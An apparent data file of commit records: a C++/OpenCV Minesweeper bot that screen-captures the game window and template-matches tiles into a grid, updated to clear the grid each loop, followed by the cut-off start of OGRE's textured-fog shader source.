BI_RGB;\r\n\r\n\tSelectObject(mineCompat, mineBit);\r\n\tif (!StretchBlt(mineCompat, 0, 0, width, height, mineHDC, 0, 0, width, height, SRCCOPY)){\r\n\t\tcout << \"Error Stretch BLT\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t\/\/BitBlt(mineCompat, 0, 0, width, height, mineHDC, 0, 0, SRCCOPY);\r\n\t\/\/GetObject(mineBit, sizeof(BITMAP), &b);\r\n\t\/\/GetDIBits(mineHDC, mineBit, 0, height, frame.data, (BITMAPINFO*)&mineH, DIB_RGB_COLORS);\r\n\tGetDIBits(mineCompat, mineBit, 0, height, f.data, (BITMAPINFO*)&mineH, DIB_RGB_COLORS);\r\n\r\n\tDeleteObject(mineBit);\r\n\tDeleteDC(mineCompat);\r\n\tReleaseDC(mineHandle, mineHDC);\r\n\r\n\treturn TRUE;\r\n}\r\n\r\n\r\nBOOL countSquares(Mat &f,Mat &t, Mat &r,double threshold,vector<Point> &squares,Scalar colour){\r\n\t\/\/Frame,Template,Result,Number of squares\r\n\tMat greysrc = f.clone();\r\n\tMat greyTemp = t.clone();\r\n\tcvtColor(f, greysrc, COLOR_BGR2GRAY);\r\n\tcvtColor(t, greyTemp, COLOR_BGR2GRAY);\r\n\r\n\tmatchTemplate(greysrc, greyTemp, r, TM_CCOEFF_NORMED);\r\n\tnormalize(r, r, 0, 1, NORM_MINMAX, -1, Mat());\r\n\r\n\tdouble minVal;\r\n\tdouble maxVal;\r\n\tPoint minLoc;\r\n\tPoint maxLoc;\r\n\tPoint matchLoc;\r\n\tPoint prevMatchLoc;\r\n\tsquares.clear();\r\n\tbool edge = FALSE;\r\n\tint dup = 0; \/\/count duplicates\r\n\tfor (int i = 0, j = 0; i < 81; i++){\r\n\t\t\/\/minesweeper has gradient so only detects two of the squares.\r\n\t\tminMaxLoc(r, &minVal, &maxVal, &minLoc, &maxLoc, Mat());\r\n\t\t\/\/if (maxVal > 0.87){\r\n\t\tif ((maxVal > threshold)){\r\n\t\t\tmatchLoc = maxLoc;\r\n\t\t\tfor (int k = 0; k < squares.size(); k++){\r\n\t\t\t\tif (((abs(matchLoc.y - squares[k].y) <= 3) && (abs(matchLoc.x - squares[k].x) <= 3))){\r\n\t\t\t\t\t\/\/cout << \"!\";\r\n\t\t\t\t\tdup++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (matchLoc.x > 30){\r\n\t\t\t\tedge = TRUE;\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tedge = FALSE;\r\n\t\t\t}\r\n\t\t\t\t\/\/cout << \"Duplicates=\" << dup << \"\\n\";\r\n\t\t\t\t\/\/dup = 0;\r\n\t\t\t\tif ((dup == 0)&&(edge==TRUE)){\r\n\t\t\t\t\tsquares.push_back(matchLoc);\r\n\t\t\t\t\trectangle(r, matchLoc, Point(matchLoc.x + t.cols, matchLoc.y + t.rows), Scalar(0, 0, 0), CV_FILLED, 8, 0);\r\n\t\t\t\t\trectangle(f, matchLoc, Point(matchLoc.x + t.cols, matchLoc.y + t.rows), colour, 1, 8, 0);\r\n\t\t\t\t}\r\n\t\t\t\/\/}\r\n\t\t\t\/\/}\r\n\t\t}\r\n\t}\r\n\tgreysrc.release();\r\n\tgreyTemp.release();\r\n\t\/\/cout << \"Vector Size=\" << squares.size() << \"\\n\";\r\n\treturn TRUE;\r\n}\r\n\r\nvoid printSquares(vector<Point> &p){\r\n\tfor (int k = 0; k < p.size(); k++){\r\n\t\tcout << \"(\" << p[k].x << \",\" << p[k].y << \")\\n\";\r\n\t}\r\n}\r\n\r\n\r\n\r\nbool sortX(Point p1, Point p2){return (p1.x < p2.x);}\r\nbool sortY(Point p1, Point p2){ return (p1.y < p2.y); }\r\n\r\nvoid sortGrid(vector<Point> &p){\r\n\t\/\/9x9 Grid Sorting Algorithm\r\n\tstd::sort(p.begin(), p.end(), sortX);\r\n\tfor (int i = 0; i < 9; i++){\r\n\t\tstd::sort(p.begin() + (i * 9), p.begin() + ((i + 1) * 9), sortY);\r\n\t}\r\n}\r\nvoid printGrid(char** &g){\r\n\tfor (int j = 0; j < 9; j++){\r\n\t\tfor (int k = 0; k < 9; k++){\r\n\t\t\tcout << +g[k][j];\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n\r\nvoid updateGrid(char** &g,vector<Point>&s,vector<Point>&masterGrid,char value){\r\n\tfor (int j = 0; j < s.size(); j++){\r\n\t\tfor (int k = 0; k < masterGrid.size(); k++){\r\n\t\t\tif ((s[j].x > masterGrid[k].x) && (s[j].x <(masterGrid[k].x + 16)) && (s[j].y > masterGrid[k].y) && (s[j].y < (masterGrid[k].y + 16))){\r\n\t\t\t\tint xpos = (int)(k \/ 9);\r\n\t\t\t\tint ypos = (int)(k % 9);\r\n\t\t\t\tg[xpos][ypos] = value;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main(void){\r\n\tstd::cout << \"mineBot\\nT.Lloyd\\n\";\r\n\tMat frame;\r\n\tHWND mineHandle = FindWindow(NULL,L\"Minesweeper\");\r\n\tif (mineHandle == NULL){\r\n\t\tcout << \"Game Not Found\\n\";\r\n\t\treturn -1;\r\n\t}\r\n\telse{\r\n\t\tcout << \"Game Successfully Found!\\n\";\r\n\t}\r\n\tnamedWindow(\"Win\", 1);\r\n\tRECT winSize;\r\n\r\n\tint height, width;\r\n\tint unpressed = 0;\r\n\tGetClientRect(mineHandle, &winSize);\r\n\theight = winSize.bottom;\r\n\twidth = winSize.right;\r\n\r\n\tframe.create(height, width, CV_8UC4);\r\n\tPoint pt;\r\n\tpt.x = 0;\r\n\tpt.y = 0;\r\n\r\n\tMat temp = imread(\"Images\/\/square2.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat oneTemp = imread(\"Images\/\/one3.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat twoTemp = imread(\"Images\/\/two.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat threeTemp = imread(\"Images\/\/three.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat fourTemp = imread(\"Images\/\/four.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\t\/\/cvtColor(temp, temp, CV_8UC4,0);\r\n\t\/\/Mat result;\r\n\t\/\/Mat oneResult;\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\/\/Initial read to define co-ordinates\r\n\r\n\tMat gridResult;\r\n\tvector<Point> gridMap;\r\n\tcaptureFrame(frame, mineHandle, height, width);\r\n\tgridResult.create(frame.cols - temp.cols + 1, frame.rows - temp.rows + 1, CV_32FC1);\r\n\t\/\/unPressedMat = frame.clone();\r\n\tcountSquares(frame, temp, gridResult, 0.920, gridMap, Scalar(0, 255, 255));\r\n\tcout << \"Unpressed Squares: \" << gridResult.size() << \"\\n\";\r\n\tprintSquares(gridMap);\r\n\tcv::imshow(\"Win\", frame);\r\n\tgridResult.release();\r\n\r\n\tsortGrid(gridMap);\r\n\tprintSquares(gridMap);\r\n\/\/\tfor (int i = 0; i < gridMap.size; i++){\r\n\t\t\r\n\/\/\t}\r\n\t\/\/Sleep(1000 * 5);\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\r\n\t\/\/imwrite(\"Images\/\/Master.jpg\", frame);\r\n\t\/\/result.create(frame.cols - temp.cols + 1, frame.rows - temp.rows + 1, CV_32FC1);\r\n\tchar **grid = (char **)calloc(9, sizeof(char));\r\n\tfor (int k = 0; k < 9; k++){\r\n\t\tgrid[k] = (char*)calloc(9, sizeof(char));\r\n\t}\r\n\/\/\tchar grid[9][9] = { 0 };\r\n\tvector<Point> unsquare;\r\n\tvector<Point> oneSquares;\r\n\tvector<Point> twoSquares;\r\n\tvector<Point> threeSquares;\r\n\tvector<Point> fourSquares;\r\n\tMat unPressedMat;\r\n\tMat oneMat;\r\n\tMat twoMat;\r\n\tMat threeMat;\r\n\tMat fourMat;\r\n\tuntil endOfTime{\r\n\t\tif (captureFrame(frame, mineHandle,height,width)==TRUE){\r\n\t\t\tif (!frame.empty()){\r\n\t\t\t\t\/\/matchTemplate(frame, temp, result, TM_CCOEFF_NORMED);\r\n\t\t\t\tMat result;\r\n\t\t\t\tresult.create(frame.cols - temp.cols + 1, frame.rows - temp.rows + 1, CV_32FC1);\r\n\t\t\t\t\/\/unPressedMat = frame.clone();\r\n\t\t\t\tcountSquares(frame, temp, result,0.920, unsquare, Scalar(0,255, 255));\r\n\t\t\t\tcout << \"Unpressed Squares: \" << unsquare.size() << \"\\n\";\r\n\t\t\t\t\/\/printSquares(unsquare);\r\n\t\t\t\tresult.release();\r\n\t\t\t\tif (unsquare.size() != 81){\r\n\t\t\t\t\tMat oneResult;\r\n\t\t\t\t\toneResult.create(frame.cols - oneTemp.cols + 1, frame.rows - oneTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, oneTemp, oneResult, 0.9, oneSquares, Scalar(255, 0, 0));\r\n\t\t\t\t\tcout << \"One Squares: \" << oneSquares.size() << \"\\n\";\r\n\t\t\t\t\toneResult.release();\r\n\r\n\t\t\t\t\tMat twoResult;\r\n\t\t\t\t\ttwoResult.create(frame.cols - twoTemp.cols + 1, frame.rows - twoTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, twoTemp, twoResult, 0.9, twoSquares, Scalar(255, 0, 0));\r\n\t\t\t\t\tcout << \"Two Squares: \" << twoSquares.size() << \"\\n\";\r\n\t\t\t\t\ttwoResult.release();\r\n\r\n\t\t\t\t\tMat threeResult;\r\n\t\t\t\t\tthreeResult.create(frame.cols - threeTemp.cols + 1, frame.rows - threeTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, threeTemp, threeResult, 0.9, threeSquares, Scalar(255, 0, 0));\r\n\t\t\t\t\tcout << \"Three Squares: \" << threeSquares.size() << \"\\n\";\r\n\t\t\t\t\tthreeResult.release();\r\n\r\n\t\t\t\t\tMat fourResult;\r\n\t\t\t\t\tfourResult.create(frame.cols - fourTemp.cols + 1, frame.rows - fourTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, fourTemp, fourResult, 0.9, fourSquares, Scalar(255, 0, 0));\r\n\t\t\t\t\tcout << \"Four Squares: \" << fourSquares.size() << \"\\n\";\r\n\t\t\t\t\tfourResult.release();\r\n\t\t\t\t}\r\n\t\t\t\t\/\/update grid\r\n\t\t\t\tupdateGrid(grid, unsquare, gridMap, 0);\r\n\t\t\t\tupdateGrid(grid, oneSquares, gridMap, 1);\r\n\t\t\t\tupdateGrid(grid, twoSquares, gridMap, 2);\r\n\t\t\t\tupdateGrid(grid, threeSquares, gridMap, 3);\r\n\t\t\t\tprintGrid(grid);\r\n\t\t\t\tcv::imshow(\"Win\", frame);\r\n\t\t\t\t\/\/imshow(\"One\", oneMat);\r\n\t\t\t\tSleep(2000);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (waitKey(30) >= 0) break;\r\n\t}\r\n\treturn 0;\r\n}<commit_msg>Clears grid every iteration of the loop<commit_after>#include <iostream>\r\n#include <Windows.h>\r\n#include <opencv2\/core\/core.hpp>\r\n#include <opencv2\/highgui\/highgui.hpp>\r\n#include <opencv2\/opencv.hpp>\r\n#include <opencv2\/imgproc.hpp>\r\n#include <algorithm>\r\n#include <string.h>\r\n\/*\r\nmineBot.cpp\r\nT.Lloyd\r\n\r\nAn attempt at an openCV minesweeper bot...\r\n\r\n*\/\r\nusing namespace cv;\r\nusing namespace std;\r\n\r\n#define until for\r\n#define endOfTime (;;)\r\n\r\n\r\nBOOL captureFrame(Mat &f,HWND mineHandle,int height, int width){\r\n\tHDC mineHDC, mineCompat;\r\n\tHBITMAP mineBit;\r\n\tBITMAP b;\r\n\tBITMAPINFOHEADER mineH;\r\n\tif (mineHandle == NULL){\r\n\t\tcout << \"Game Not Found\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\tmineHDC = GetDC(mineHandle);\r\n\tmineCompat = CreateCompatibleDC(mineHDC);\r\n\tif (!mineCompat){\r\n\t\tcout << \"Error creating compatible DC\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\t\/\/SetStretchBltMode(mineCompat, HALFTONE);\r\n\tSetStretchBltMode(mineCompat, HALFTONE);\r\n\r\n\tmineBit = CreateCompatibleBitmap(mineHDC, width, height);\r\n\tif (mineBit == NULL){\r\n\t\tcout << \"Bitmap Creation Failed!\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\tmineH.biSize = sizeof(BITMAPINFOHEADER);\r\n\tmineH.biPlanes = 1;\r\n\tmineH.biWidth = width;\r\n\tmineH.biHeight = -height;\r\n\tmineH.biBitCount = 32;\r\n\tmineH.biCompression = BI_RGB;\r\n\r\n\tSelectObject(mineCompat, mineBit);\r\n\tif (!StretchBlt(mineCompat, 0, 0, width, height, mineHDC, 0, 0, width, height, SRCCOPY)){\r\n\t\tcout << \"Error Stretch BLT\\n\";\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\t\/\/BitBlt(mineCompat, 0, 0, width, height, mineHDC, 0, 0, SRCCOPY);\r\n\t\/\/GetObject(mineBit, sizeof(BITMAP), &b);\r\n\t\/\/GetDIBits(mineHDC, mineBit, 0, height, frame.data, (BITMAPINFO*)&mineH, DIB_RGB_COLORS);\r\n\tGetDIBits(mineCompat, mineBit, 0, height, f.data, (BITMAPINFO*)&mineH, DIB_RGB_COLORS);\r\n\r\n\tDeleteObject(mineBit);\r\n\tDeleteDC(mineCompat);\r\n\tReleaseDC(mineHandle, mineHDC);\r\n\r\n\treturn TRUE;\r\n}\r\n\r\n\r\nBOOL countSquares(Mat &f,Mat &t, Mat &r,double threshold,vector<Point> &squares,Scalar colour){\r\n\t\/\/Frame,Template,Result,Number of squares\r\n\tMat greysrc = f.clone();\r\n\tMat greyTemp = t.clone();\r\n\tcvtColor(f, greysrc, COLOR_BGR2GRAY);\r\n\tcvtColor(t, greyTemp, COLOR_BGR2GRAY);\r\n\r\n\tmatchTemplate(greysrc, greyTemp, r, TM_CCOEFF_NORMED);\r\n\tnormalize(r, r, 0, 1, NORM_MINMAX, -1, Mat());\r\n\r\n\tdouble minVal;\r\n\tdouble maxVal;\r\n\tPoint minLoc;\r\n\tPoint maxLoc;\r\n\tPoint matchLoc;\r\n\tPoint prevMatchLoc;\r\n\tsquares.clear();\r\n\tbool edge = FALSE;\r\n\tint dup = 0; \/\/count duplicates\r\n\tfor (int i = 0, j = 0; i < 81; i++){\r\n\t\t\/\/minesweeper has gradient so only detects two of the squares.\r\n\t\tminMaxLoc(r, &minVal, &maxVal, &minLoc, &maxLoc, Mat());\r\n\t\t\/\/if (maxVal > 0.87){\r\n\t\tif ((maxVal > threshold)){\r\n\t\t\tmatchLoc = maxLoc;\r\n\t\t\tfor (int k = 0; k < squares.size(); k++){\r\n\t\t\t\tif (((abs(matchLoc.y - squares[k].y) <= 3) && (abs(matchLoc.x - squares[k].x) <= 3))){\r\n\t\t\t\t\t\/\/cout << \"!\";\r\n\t\t\t\t\tdup++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (matchLoc.x > 30){\r\n\t\t\t\tedge = TRUE;\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tedge = FALSE;\r\n\t\t\t}\r\n\t\t\t\t\/\/cout << \"Duplicates=\" << dup << \"\\n\";\r\n\t\t\t\t\/\/dup = 0;\r\n\t\t\t\tif ((dup == 0)&&(edge==TRUE)){\r\n\t\t\t\t\tsquares.push_back(matchLoc);\r\n\t\t\t\t\trectangle(r, matchLoc, Point(matchLoc.x + t.cols, matchLoc.y + t.rows), Scalar(0, 0, 0), CV_FILLED, 8, 0);\r\n\t\t\t\t\trectangle(f, matchLoc, Point(matchLoc.x + t.cols, matchLoc.y + t.rows), colour, 1, 8, 0);\r\n\t\t\t\t}\r\n\t\t\t\/\/}\r\n\t\t\t\/\/}\r\n\t\t}\r\n\t}\r\n\tgreysrc.release();\r\n\tgreyTemp.release();\r\n\t\/\/cout << \"Vector Size=\" << squares.size() << \"\\n\";\r\n\treturn TRUE;\r\n}\r\n\r\nvoid printSquares(vector<Point> &p){\r\n\tfor (int k = 0; k < p.size(); k++){\r\n\t\tcout << \"(\" << p[k].x << \",\" << p[k].y << \")\\n\";\r\n\t}\r\n}\r\n\r\n\r\n\r\nbool sortX(Point p1, Point p2){return (p1.x < p2.x);}\r\nbool sortY(Point p1, Point p2){ return (p1.y < p2.y); }\r\n\r\nvoid sortGrid(vector<Point> &p){\r\n\t\/\/9x9 Grid Sorting Algorithm\r\n\tstd::sort(p.begin(), p.end(), sortX);\r\n\tfor (int i = 0; i < 9; i++){\r\n\t\tstd::sort(p.begin() + (i * 9), p.begin() + ((i + 1) * 9), sortY);\r\n\t}\r\n}\r\nvoid printGrid(char** &g){\r\n\tfor (int j = 0; j < 9; j++){\r\n\t\tfor (int k = 0; k < 9; k++){\r\n\t\t\tcout << g[k][j];\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n\r\nvoid updateGrid(char** &g,vector<Point>&s,vector<Point>&masterGrid,char value){\r\n\tfor (int j = 0; j < s.size(); j++){\r\n\t\tfor (int k = 0; k < masterGrid.size(); k++){\r\n\t\t\tif ((s[j].x >= masterGrid[k].x) && (s[j].x <=(masterGrid[k].x + 16)) && (s[j].y >= masterGrid[k].y) && (s[j].y <= (masterGrid[k].y + 16))){\r\n\t\t\t\tint xpos = (int)(k \/ 9);\r\n\t\t\t\tint ypos = (int)(k % 9);\r\n\t\t\t\tg[xpos][ypos] = value;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\nvoid clearGrid(char** &g){\r\n\tfor (int i = 0; i < 9; i++){\r\n\t\tfor (int k = 0; k < 9; k++){\r\n\t\t\tg[i][k] = 0;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main(void){\r\n\tstd::cout << \"mineBot\\nT.Lloyd\\n\";\r\n\tMat frame;\r\n\tHWND mineHandle = FindWindow(NULL,L\"Minesweeper\");\r\n\tif (mineHandle == NULL){\r\n\t\tcout << \"Game Not Found\\n\";\r\n\t\treturn -1;\r\n\t}\r\n\telse{\r\n\t\tcout << \"Game Successfully Found!\\n\";\r\n\t}\r\n\tnamedWindow(\"Win\", 1);\r\n\tRECT winSize;\r\n\r\n\tint height, width;\r\n\tint unpressed = 0;\r\n\tGetClientRect(mineHandle, &winSize);\r\n\theight = winSize.bottom;\r\n\twidth = winSize.right;\r\n\r\n\tframe.create(height, width, CV_8UC4);\r\n\tPoint pt;\r\n\tpt.x = 0;\r\n\tpt.y = 0;\r\n\r\n\tMat temp = imread(\"Images\/\/square2.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat oneTemp = imread(\"Images\/\/one3.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat twoTemp = imread(\"Images\/\/two.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat threeTemp = imread(\"Images\/\/three.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\tMat fourTemp = imread(\"Images\/\/four.jpg\", CV_LOAD_IMAGE_COLOR);\r\n\t\/\/cvtColor(temp, temp, CV_8UC4,0);\r\n\t\/\/Mat result;\r\n\t\/\/Mat oneResult;\r\n\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\/\/Initial read to define co-ordinates\r\n\r\n\tMat gridResult;\r\n\tvector<Point> gridMap;\r\n\tcaptureFrame(frame, mineHandle, height, width);\r\n\tgridResult.create(frame.cols - temp.cols + 1, frame.rows - temp.rows + 1, CV_32FC1);\r\n\t\/\/unPressedMat = frame.clone();\r\n\tcountSquares(frame, temp, gridResult, 0.920, gridMap, Scalar(0, 255, 255));\r\n\tcout << \"Unpressed Squares: \" << gridResult.size() << \"\\n\";\r\n\tprintSquares(gridMap);\r\n\tcv::imshow(\"Win\", frame);\r\n\tgridResult.release();\r\n\r\n\tsortGrid(gridMap);\r\n\tprintSquares(gridMap);\r\n\/\/\tfor (int i = 0; i < gridMap.size; i++){\r\n\t\t\r\n\/\/\t}\r\n\t\/\/Sleep(1000 * 5);\r\n\t\/\/----------------------------------------------------------------------------\r\n\t\r\n\t\/\/imwrite(\"Images\/\/Master.jpg\", frame);\r\n\t\/\/result.create(frame.cols - temp.cols + 1, frame.rows - temp.rows + 1, CV_32FC1);\r\n\tchar **grid = (char **)calloc(9, sizeof(char));\r\n\tfor (int k = 0; k < 9; k++){\r\n\t\tgrid[k] = (char*)calloc(9, sizeof(char));\r\n\t}\r\n\/\/\tchar grid[9][9] = { 0 };\r\n\tvector<Point> unsquare;\r\n\tvector<Point> oneSquares;\r\n\tvector<Point> twoSquares;\r\n\tvector<Point> threeSquares;\r\n\tvector<Point> fourSquares;\r\n\tMat unPressedMat;\r\n\tMat oneMat;\r\n\tMat twoMat;\r\n\tMat threeMat;\r\n\tMat fourMat;\r\n\tuntil endOfTime{\r\n\t\tclearGrid(grid);\r\n\t\tif (captureFrame(frame, mineHandle,height,width)==TRUE){\r\n\t\t\tif (!frame.empty()){\r\n\t\t\t\t\/\/matchTemplate(frame, temp, result, TM_CCOEFF_NORMED);\r\n\t\t\t\tMat result;\r\n\t\t\t\tresult.create(frame.cols - temp.cols + 1, frame.rows - temp.rows + 1, CV_32FC1);\r\n\t\t\t\t\/\/unPressedMat = frame.clone();\r\n\t\t\t\tcountSquares(frame, temp, result,0.920, unsquare, Scalar(0,255, 255));\r\n\t\t\t\tcout << \"Unpressed Squares: \" << unsquare.size() << \"\\n\";\r\n\t\t\t\t\/\/printSquares(unsquare);\r\n\t\t\t\tresult.release();\r\n\t\t\t\tif (unsquare.size() != 81){\r\n\t\t\t\t\tMat oneResult;\r\n\t\t\t\t\toneResult.create(frame.cols - oneTemp.cols + 1, frame.rows - oneTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, oneTemp, oneResult, 0.9, oneSquares, Scalar(255, 0, 0));\r\n\t\t\t\t\tcout << \"One Squares: \" << oneSquares.size() << \"\\n\";\r\n\t\t\t\t\toneResult.release();\r\n\r\n\t\t\t\t\tMat twoResult;\r\n\t\t\t\t\ttwoResult.create(frame.cols - twoTemp.cols + 1, frame.rows - twoTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, twoTemp, twoResult, 0.9, twoSquares, Scalar(255, 255, 0));\r\n\t\t\t\t\tcout << \"Two Squares: \" << twoSquares.size() << \"\\n\";\r\n\t\t\t\t\ttwoResult.release();\r\n\r\n\t\t\t\t\tMat threeResult;\r\n\t\t\t\t\tthreeResult.create(frame.cols - threeTemp.cols + 1, frame.rows - threeTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, threeTemp, threeResult, 0.9, threeSquares, Scalar(255, 0, 255));\r\n\t\t\t\t\tcout << \"Three Squares: \" << threeSquares.size() << \"\\n\";\r\n\t\t\t\t\tthreeResult.release();\r\n\r\n\t\t\t\t\tMat fourResult;\r\n\t\t\t\t\tfourResult.create(frame.cols - fourTemp.cols + 1, frame.rows - fourTemp.rows + 1, CV_32FC1);\r\n\t\t\t\t\t\/\/oneMat = frame.clone();\r\n\t\t\t\t\tcountSquares(frame, fourTemp, fourResult, 0.9, fourSquares, Scalar(255, 0, 0));\r\n\t\t\t\t\tcout << \"Four Squares: \" << fourSquares.size() << \"\\n\";\r\n\t\t\t\t\tfourResult.release();\r\n\t\t\t\t}\r\n\t\t\t\t\/\/update grid\r\n\t\t\t\tupdateGrid(grid, unsquare, gridMap, 'U');\r\n\t\t\t\tupdateGrid(grid, oneSquares, gridMap, '1');\r\n\t\t\t\tupdateGrid(grid, twoSquares, gridMap, '2');\r\n\t\t\t\tupdateGrid(grid, threeSquares, gridMap, '3');\r\n\t\t\t\tprintGrid(grid);\r\n\t\t\t\tcv::imshow(\"Win\", frame);\r\n\t\t\t\t\/\/imshow(\"One\", oneMat);\r\n\t\t\t\tSleep(1000);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (waitKey(30) >= 0) break;\r\n\t}\r\n\treturn 0;\r\n}<|endoftext|>"} {"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2014 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"RTShaderSRSTexturedFog.h\"\n#include \"OgreShaderFFPRenderState.h\"\n#include \"OgreShaderProgram.h\"\n#include \"OgreShaderParameter.h\"\n#include \"OgreShaderProgramSet.h\"\n#include \"OgreGpuProgram.h\"\n#include \"OgrePass.h\"\n#include \"OgreShaderGenerator.h\"\n\n#define FFP_FUNC_PIXELFOG_POSITION_DEPTH \"FFP_PixelFog_PositionDepth\"\n\nusing namespace Ogre;\nusing namespace RTShader;\n\/************************************************************************\/\n\/* *\/\n\/************************************************************************\/\nString RTShaderSRSTexturedFog::Type = \"TexturedFog\";\n\n\/\/-----------------------------------------------------------------------\nRTShaderSRSTexturedFog::RTShaderSRSTexturedFog(RTShaderSRSTexturedFogFactory* factory)\n{\n mFactory = factory;\n mFogMode = FOG_NONE;\n mPassOverrideParams = false;\n}\n\n\/\/-----------------------------------------------------------------------\nconst String& RTShaderSRSTexturedFog::getType() const\n{\n return Type;\n}\n\n\n\/\/-----------------------------------------------------------------------\nint RTShaderSRSTexturedFog::getExecutionOrder() const\n{\n return FFP_FOG;\n}\n\/\/-----------------------------------------------------------------------\nvoid RTShaderSRSTexturedFog::updateGpuProgramsParams(Renderable* rend, Pass* pass, const AutoParamDataSource* source, \n const LightList* pLightList)\n{ \n if (mFogMode == FOG_NONE)\n return;\n\n FogMode fogMode;\n Real newFogStart, newFogEnd, newFogDensity;\n\n \/\/Check if this is an overlay element if so disable fog \n if ((rend->getUseIdentityView() == true) && (rend->getUseIdentityProjection() == true))\n {\n fogMode = FOG_NONE;\n newFogStart = 100000000;\n newFogEnd = 200000000;\n newFogDensity = 0;\n }\n else\n {\n if (mPassOverrideParams)\n {\n fogMode = pass->getFogMode();\n newFogStart = pass->getFogStart();\n newFogEnd = pass->getFogEnd();\n newFogDensity = pass->getFogDensity();\n }\n else\n {\n SceneManager* sceneMgr = ShaderGenerator::getSingleton().getActiveSceneManager();\n \n fogMode = sceneMgr->getFogMode();\n newFogStart = sceneMgr->getFogStart();\n newFogEnd = sceneMgr->getFogEnd();\n newFogDensity = sceneMgr->getFogDensity(); \n }\n }\n\n \/\/ Set fog properties.\n setFogProperties(fogMode, newFogStart, newFogEnd, newFogDensity);\n\n mFogParams->setGpuParameter(mFogParamsValue);\n}\n\n\/\/-----------------------------------------------------------------------\nbool RTShaderSRSTexturedFog::resolveParameters(ProgramSet* programSet)\n{\n if (mFogMode == FOG_NONE)\n return true;\n\n Program* vsProgram = programSet->getCpuProgram(GPT_VERTEX_PROGRAM);\n Program* psProgram = programSet->getCpuProgram(GPT_FRAGMENT_PROGRAM);\n Function* vsMain = vsProgram->getEntryPointFunction();\n Function* psMain = psProgram->getEntryPointFunction();\n\n\n \/\/ Resolve world view matrix.\n mWorldMatrix = vsProgram->resolveParameter(GpuProgramParameters::ACT_WORLD_MATRIX);\n if (mWorldMatrix.get() == NULL)\n return false;\n \n \/\/ Resolve world view matrix.\n mCameraPos = vsProgram->resolveParameter(GpuProgramParameters::ACT_CAMERA_POSITION);\n if (mCameraPos.get() == NULL)\n return false;\n \n \/\/ Resolve vertex shader input position.\n mVSInPos = vsMain->resolveInputParameter(Parameter::SPC_POSITION_OBJECT_SPACE);\n if (mVSInPos.get() == NULL)\n return false;\n\n \/\/ Resolve fog colour.\n mFogColour = psMain->resolveLocalParameter(\"FogColor\", GCT_FLOAT4);\n if (mFogColour.get() == NULL)\n return false;\n \n \/\/ Resolve pixel shader output diffuse color.\n mPSOutDiffuse = psMain->resolveOutputParameter(Parameter::SPC_COLOR_DIFFUSE);\n if (mPSOutDiffuse.get() == NULL) \n return false;\n \n \/\/ Resolve fog params. \n mFogParams = psProgram->resolveParameter(GCT_FLOAT4, -1, (uint16)GPV_GLOBAL, \"gFogParams\");\n if (mFogParams.get() == NULL)\n return false;\n\n \/\/ Resolve vertex shader output depth. \n mVSOutPosView = 